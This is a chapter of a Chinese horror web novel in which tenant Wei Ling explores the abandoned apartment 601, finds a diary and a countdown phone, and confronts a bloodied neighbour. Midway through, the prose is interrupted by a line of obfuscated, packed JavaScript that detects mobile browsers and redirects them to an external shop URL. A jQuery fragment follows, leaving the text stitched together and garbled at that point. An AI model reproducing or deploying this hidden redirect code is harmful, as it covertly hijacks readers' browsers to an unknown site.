第二章
魏凌没开灯。
他缩在客厅最里面的角落，后背抵着墙，膝盖蜷到胸口，手机屏幕是整间屋子里唯一的光源。卫生间门缝底下那一小片暗红色的水渍还在往外渗，像某种缓慢的计时，从门槛底下沿着地砖的缝隙一点一点向外爬，速度很慢，但一直在动。他盯着那片水渍看了很久，确认它不是幻觉——颜色越来越深，面积从硬币大小扩散到巴掌大，散发出一股铁锈似的腥气。
卫生间里面再没有声音了。那声叹息之后，所有的动静都消失了，连雨声在那个瞬间都像被抽走了一样。但魏凌知道里面有人。
不对。他纠正自己——里面有一个东西。
他低头看手机。群里"303小鹿"那条消息挂在屏幕上："601门口站着一个人，没穿鞋。"发出去已经三分钟了，没有任何人回复。整个群像死了一样。魏凌试着在群里打了一行字："老周？你还在吗？"发送失败。他又私聊"204老钱"，转圈，红色感叹号。私聊"602苏姨"，同上。私聊"303小鹿"，同上。
整个手机只有西天穹业主群这个页面能打开，所有私聊通道全部瘫痪，像有人精准地切断了这个群里的每一个人之间的联系——让他们只能看见彼此在群里说的话，却无法单独确认任何一个人的身份。
包括他自己。他也不知道现在群里盯着他消息的，是人是鬼。
卫生间的水渍停止了扩散。那片暗红色停在地砖上，大概有汤碗那么大一圈，边缘不整齐，像一幅画被水泡散了的墨迹。魏凌从地上慢慢站起来，脚已经麻了，踩在地上像踩着棉花。他绕过茶几，绕到厨房门口，弯腰从灶台下面的抽屉里摸出了那把锈菜刀。刀刃上几个豁口，但拿在手里掂了掂，分量还行。
他左手举着手机照明，右手攥着菜刀，一步一步往卫生间挪。走到门口的时候他停住了，侧着身体用刀背抵住门框，头偏过去看了一眼里面。
卫生间的灯是关着的，但借着手电筒的光，他能看清楚里面的全部——洗手池、镜子、马桶、墙角堆着的几瓶洗发水空瓶子。地砖是湿的，但只有他自己刚才刷牙时溅上去的水痕。没有暗红色。没有血。没有水渍。
门槛底下干干净净。魏凌低头看了看自己的脚，然后蹲下去用手指碰了碰地砖的表面，干的，凉的。
刚才那一小片正在往外渗的暗红色水渍，像从来没存在过一样。
他往后退了一步，整个人靠在走廊的墙上，浑身发软，喘了好几口气才缓过来。他重新看了一下时间——凌晨三点整。从老周第一条语音到现在过去了不到一个小时，但他感觉像过了一整夜。
他回到客厅，把菜刀放在茶几上，重新翻开那本黑色日记本。他想起刚才在最后一页残根上看见的那半个字——横折钩，收笔向下顿。如果说那是"我"字的下半截，那被撕掉的那一页上写的可能是"救救我"、"放开我"、"别找我"。如果是"手"字的下半截，那可能是"帮手"、"住手"、"洗手"。
洗手。魏凌脑子里闪过一丝念头。卫生间。镜子。那个站在墙边的影子。他重新回到卫生间门口，这一次他把灯打开了，白炽灯管闪了两下亮起来，照亮了镜子前的一切。他站在镜子面前，直视镜中自己的眼睛。
镜子里没有别人。
他盯着看了十秒，二十秒，三十秒。镜子里只有他自己，脸色惨白，眼眶发黑，右手虎口上还沾着搬箱子时蹭的灰。身后的门框和走廊都是空的。一切正常。
正常得不像真的。
魏凌关了灯退出来，重新坐到床边。他没有把菜刀放回厨房，而是搁在枕头底下。然后把那本日记放在床头柜上，翻开到第一页。"别信群"三个字在手机光下泛着淡蓝色的反光。
他今晚不打算睡了。
四点半的时候，雨小了一些。
魏凌拉开窗帘一角往外看。601那扇窗的深蓝色窗帘后面，那一点冷白色的光还在闪，一闪一闪，断断续续——像手机屏幕，又像手电筒被什么东西反复遮挡着。他这回看得更仔细了一些，发现那个光亮是有规律的：亮三秒，灭两秒，亮三秒，灭两秒。像摩斯密码，但他不认识。他试着用手机录了一段，放慢速度看，确认了光亮的位置在窗帘中间偏下，大概离地面一米二左右，如果是人拿着手机，这个高度说明那个人是坐着的。
或者说，是放在什么东西上，那东西的高度正好是一米二。
魏凌放下窗帘。六点零七分，天开始蒙蒙亮了。窗外灰蓝色的光从窗帘缝隙里透进来，雨还在下但已经稀了很多。群还是一点动静都没有，最后一条消息停在小鹿说的"她没穿鞋"。没有人回复她，也没有人再说话。
魏凌在六点半的时候做了一个决定。他要出门。
理由有三。第一，他昨晚在群里最后看见的地址是601门口有人的那条消息，而601就在他斜下方，隔着两层楼的距离和一道天井。第二，苏姨塞给他的纸条写着"601三个月前就没人了"，而那个号从三天前到现在一直在群里活跃。第三，那扇窗帘后面有光，有规律地闪了整整一夜，如果那里没有人，他想知道是什么在发光。
他把手机装进裤兜，菜刀用一块旧毛巾裹了夹在腋下，套上一件深灰色的外套，然后走到门边。他没有立即开门，而是从猫眼往外看了一眼。走廊里空荡荡的，声控灯亮着，地面干净，没有脚印，没有水渍。
他轻轻拧开门锁，把门推开一条缝。
走廊里的空气涌进来，湿冷，带着一股说不清的浑浊气味，像下雨天埋在地里的东西被翻上来了。他把防盗链摘掉，整个人闪出门外，回手轻轻带上了802的门。他没有锁——他怕万一回来的时候开不了。
八楼的走廊比他从猫眼看到的更长。声控灯一路亮下去，从802门口一直延伸到电梯间，大概四十多步的距离。走廊两侧是紧闭的房门，801、803、804、805，每扇门都关着，门缝底下不透光。魏凌经过803的时候停了一下——那扇门的门把手上挂着一个外卖袋子，塑料袋里还有半杯没喝完的奶茶，吸管插在里面，杯壁上凝着一层水珠。奶茶看起来还很新鲜，冰还没完全化。
他伸手碰了一下杯子。凉的。但那种凉是冰箱里拿出来放了一两个小时的那种凉，不是隔夜的。也就是说，昨天晚上有人叫了外卖，而且那个人到现在都没把垃圾扔掉。魏凌记下了这个细节，继续往前走。
走到电梯间的时候，他注意到电梯显示屏上亮着"8"——电梯停在八楼。屏幕是亮着的，显示静止状态。他按了一下下行键，电梯门叮一声打开了，里面空无一人。轿厢地面是干净的，角落里有一小块黄色的塑料片，像是玩具上掉下来的零件。他没有进去，而是转身走向楼梯间。601在六楼，他决定走楼梯。
楼梯间的灯是坏的。铁门推开的时候发出沉闷的吱呀声，里面一片漆黑，只有从八楼楼道漏进去的一小片光亮照着最上面两级台阶。魏凌掏出手机打开手电筒，光照下去，台阶是水泥的，表面磨得光滑发亮，边沿积着一层灰。但他看见台阶上有脚印。
不止一双。脚印凌乱交错，有大有小，有的穿着鞋，有的是光脚的。光脚的那双特别明显——脚掌完整，五根脚趾头的印子清清楚楚，方向是向上的，从六楼往七楼走。脚印很新鲜，边缘清晰，没有积灰，像是几个小时前留下的。
魏凌把光收回来，往下走。他走得很慢，每一步都先踩实了再迈另一只脚。七楼没有停，他直接下到六楼。楼梯间的门通往六楼的走廊，他推开一条缝往外看——六楼走廊和八楼长得一模一样，灰色地砖，白色墙壁，声控灯亮着。但有一个明显的区别：六楼走廊的地砖上有拖拽的痕迹。两道平行的深色擦痕，从601方向一路延伸过来，到楼梯间门口就断了，像有什么沉重的东西被人从601拖出来，拖到了楼梯间的门口，然后被抬起来了。
魏凌闪身进了六楼走廊。声控灯亮到最远的那一头，601的门在最尽头，正对着楼梯间方向。他往前走，经过604、603、602，每扇门都紧闭着。602的门上贴着一张黄色的便利贴，上面写着几个字："找601的去查物业，别敲我家门。"字迹是圆珠笔写的，笔画干净利落，是中年人的手笔。魏凌认出了这个风格，和塞进他门缝的那张纸条上的字不太一样，那张纸条上的字歪歪扭扭像左手写的。
但他记得602住的是苏姨。退休教师。苏姨。
他停在601门口。
601的门是铁皮门，深灰色，表面刷了一层漆，漆已经斑驳了，露出底下原本的银色铁皮。门框上确实贴着白色的纸——但已经撕了一半，剩下半截还黏在门框上，纸上残留着半个红章的边缘，魏凌认出来和三天前群里照片上看见的那个封条是同一张。封条是从门框和门板的缝隙中间被撕断的，断口齐整，像是用刀割开的。
门没有关严。门板和门框之间有一条大概两指宽的缝隙，足够他凑上去看见里面的一小片。他把手机灯关了，把脸贴上去。
缝隙里看见的是玄关。很小，大概一平方米，地上铺着灰白色的瓷砖。玄关尽头是一道走廊，走廊里很暗，但有光——就是他在楼上看见的那种冷白色光，一闪一闪，亮三秒灭两秒，从走廊深处的某间屋子里透出来。玄关的地上放着几双鞋：一双黑色的男式皮鞋，一双红色的塑料拖鞋，还有一双白色女式运动鞋。
三双鞋。三双都朝着门口的方向摆着，鞋头对外，像随时准备穿鞋出门。
魏凌往后撤了一步。他犹豫了三秒钟，然后伸手推了一下那扇门。铁门吱的一声开了，没有锁，门轴干涩，推开的时候发出刺耳的金属摩擦声。魏凌站在门口没有进去，只是站在那里往里看。
玄关比他想象的窄。走廊比他想象的长。那股浑浊的气味在这里更浓了，像是什么东西放久了发出来的——甜腻、沉闷、带着一点点腐败的腥。那个冷白色的光在走廊深处一闪一闪，规律不变：亮三秒，灭两秒。
魏凌抬起脚，跨过了门槛。他走了进去。
玄关墙壁上的电表箱盖子掉了一半，垂着，箱体里面是空的，线头被剪断了，连着一截黑色胶皮裸露在外面。墙角的踢脚线有几处脱落，露出后面的水泥和细小的虫尸。鞋柜上的镜子里映出他侧身的影像——但他注意到镜子里他的衣领和他实际穿的衣领是反的。那面镜子是歪的，或者说整个鞋柜都被挪动过，导致镜面角度偏了三四度。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17897744|212864||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他往走廊里走了两步。冷白色的光就在前面，左手边第一扇门开着，那是一个卧室。他偏过头看了一眼。
卧室里有一张床，床单是白色带蓝色小花的，铺得很整齐，枕头摆得端正，被子叠成方块放在床尾。床头柜上放着一个无线充电座，发光的是一台手机——手机屏幕朝上，正在显示一个倒计时页面。魏凌凑近了看，倒计时还剩两小时四十一分。倒计时底下一行小字：自动发送·全员可见。
那台手机是"601李萍"的。或者说，是控制着"601李萍"那个微信账号的人放在这里的。
魏凌没有碰那台手机。他退出卧室，继续往前走。走廊尽头是客厅，客厅的窗帘拉着——就是他在802看见的那面深蓝色窗帘。窗帘后面透进来一点点天光，灰蒙蒙的。客厅里很空，只有一个沙发、一张茶几、一台电视，电视的电源指示灯是灭的。但茶几上摆着一个东西。
一本笔记本。和他在802灶台下面发现的那本一模一样，黑色硬壳，巴掌大小，边角磨得发白。
魏凌走过去拿起了那本笔记本。翻开第一页，上面的字迹和802那本完全一样——同一个人的笔迹，同样的潦草，同样的匆忙。但这一本没有被撕过，每一页都完整，上面写满了字。他翻到第一页看：
"第一天。我搬进来了。房子很便宜，房东说上一个租客住了三年，东西都没搬完，让我随便处置。我只觉得捡了大便宜。"
翻到第二页：
"第三天。下雨了。群里有人说601是空的，但601在群里说话了。我不知道该信谁。"
翻到第三页：
"第六天。我试着离开。电梯坏了，楼梯间里有人站着。我回了802。把门锁了。"
翻到第四页：
"第七天。我发现了。西天穹每一层楼都有一个601。不对。我是说，每一层楼都有一个空房间，那个房间在'活着'。八楼没有601，但八楼有一个备用钥匙的盒子。我看了，里面能开六楼的门。"
魏凌的手开始发抖。他翻到最后一页，那一页上写着：
"我出不去了。但我可以让你进来。我把钥匙放在八楼的消防栓后面。你看见这本日记的时候，我已经在对面了。你别看镜子。镜子里的那个人早就不在了。"
落款处是一个名字。字迹太草了，笔画挤在一起，但他辨认出了最后一个字是一个"伟"字。可能是某个人的名字。前租客的名字。
魏凌合上笔记本，把它塞进了自己外套内侧的口袋。他听见身后传来一声响——很轻，像是什么东西在走廊的地板上摩擦了一下。
他猛地转身。601的门口站着一个人。
女人。赤脚。穿着白色带紫色花的睡衣。头发散着，湿漉漉的贴在脸上。她站在那里，距离魏凌大概四五步远，低着头，看不清脸。她的脚底是红的，脚趾头缝里有暗红色的东西往外渗。
魏凌往后退了一步，后背撞上了茶几。茶几上的手机屏幕亮了一下，倒计时跳了一秒。
那个女人没有动。她只是站在那里，脚底的血在地砖上慢慢洇开一小片。
然后她慢慢抬起头。
那是一张他认识的脸。不是李萍。是苏姨。
魏凌的脑子轰了一声——他想起了苏姨塞给他的纸条，想起了602门上的便利贴，想起了苏姨在群里说的每一句话。他明白了。苏姨早就进了601。那张纸条不是从602发出来的，它是从601发出来的。有人在用602的号。
苏姨张开嘴，发出一个很轻很轻的气音，像想说什么但嗓子已经坏了。她抬起手，指向魏凌身后——指向茶几上那台正在倒计时的手机。
魏凌低头看。倒计时还在跳。还剩两小时三十九分。底下的那行字变了："自动发送·全员可见"后面多了一行：
"发送内容：802魏凌·已进入601·确认目标。"
他猛地抬头。门口空了。苏姨不见了。地上的血脚印从门口一路延伸到走廊深处，通向601的里屋。魏凌没有跟过去。他转身就往门口冲，一步跨出玄关，把铁门在身后砰地关上，然后顺着走廊往楼梯间跑。他没有回头。
他冲上八楼楼梯间，推开铁门，一路跑到802门口。门还开着一条缝，和他离开时一模一样。他闪身进去，反手锁门，挂上防盗链，整个人靠在门板上大口喘气。
手机震了一下。西天穹业主群弹出一条新消息，来自"601李萍"：
"@魏凌，你拿走我的东西了。"
魏凌掏出那本日记本，翻开，在里面摸到了一个硬硬的东西——最后一页的夹层里，贴着一张房卡。钥匙卡。上面印着几个小字：
"西天穹·地下二层·B-07。"
他低头看着那张卡，又看了一眼手机。群里"601李萍"又发了一条：
"你拿了我的东西，总要还的。下来吧，我在B-07等你。"
魏凌慢慢把房卡放回日记本夹层里。他把手机扣在桌上，走到窗边，掀开窗帘一角往外看。601的窗帘还是拉着，但那扇窗户里面，亮着三盏灯。卧室、客厅、厨房。三个房间全亮着。
就像有人在欢迎他一样。